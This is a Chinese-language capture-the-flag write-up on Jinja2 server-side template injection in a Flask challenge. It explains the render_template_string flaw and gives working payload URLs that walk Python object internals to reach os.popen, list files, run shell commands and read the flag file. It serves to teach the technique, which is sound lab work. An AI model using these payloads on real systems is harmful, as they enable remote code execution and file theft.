XCTF-WEB-高手进阶区-Web_python_template_injection-笔记
Web_python_template_injection
o(╥﹏╥)o从这里开始题目就变得有点诡谲了
网上搜索相关教程的确是一知半解，大概参考了如下和最后的WP:
http://shaobaobaoer.cn/archives/660/python-flask-jinja-ssti
https://xz.aliyun.com/t/3679#toc-8 （这篇讲的特别好）
https://blog.csdn.net/sxingming/article/details/52071514
https://www.cnblogs.com/tr1ple/p/9415641.html
https://www.freebuf.com/column/187845.html
简单来说还就是代码不规范导致的，渲染函数render_template_string，在使用%s来替换字符串的时候，会把字符串中被{{}}包围内容当作变量解析
首先，题目告诉我们这是一个 python 注入问题，那么脚本肯定也是 python 的，思 考怎样用 python 语句获取控制台权限：想到了 `os.system` 和 `os.popen`, 这两句前 者返回 **退出状态码** , 后者 **以 file 形式** 返回 **输出内容**, 我们想要的是 内容，所所以选择 `os.popen`
知道了要用这一句，那么我要怎么找到这一句呢？
__class__ ： 返回对象所属的类
__mro__ ： 返回一个类所继承的基类元组，方法在解析时按照元组的顺序解析。
__base__ ： 返回该类所继承的基类
__base__和__mro__都是用来寻找基类的
__subclasses__ ： 每个新类都保留了子类的引用，这个方法返回一个 类中仍然可用的的引用的列表
__init__ ： 类的初始化方法
__globals__ ： 对包含函数全局变量的字典的引用
首先，找到当前变量所在的类：
http://159.138.137.79:56645/{{''.__class__}}
得到类:<type 'str'>
接下来查看他的基类:
http://159.138.137.79:56645/{{''.__class__.__mro__}}
得到基类：<type 'str'>, <type 'basestring'>, <type 'object'>
然后，通过基类来找其中任意一个基类的引用列表
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()}} ps：mro里面不能不填，测试mro2和mro-1均能弹出来列表，其他的不行
找到Site_Printer() 位于第72位:所以:__subclasses__()[71]
直接使用listdir函数列出当前的文件，并搜索可能存在的flag文件或者:通过 `` 来 调用服务器的控制台并显示
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
返回:
URL http://159.138.137.79:56645/['index.py', 'fl4g'] not found
得到名字以后使用文件名.read()的方式读取:
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}
http://159.138.137.79:56645/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
获得:URL http://159.138.137.79:56645/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found
得到flag
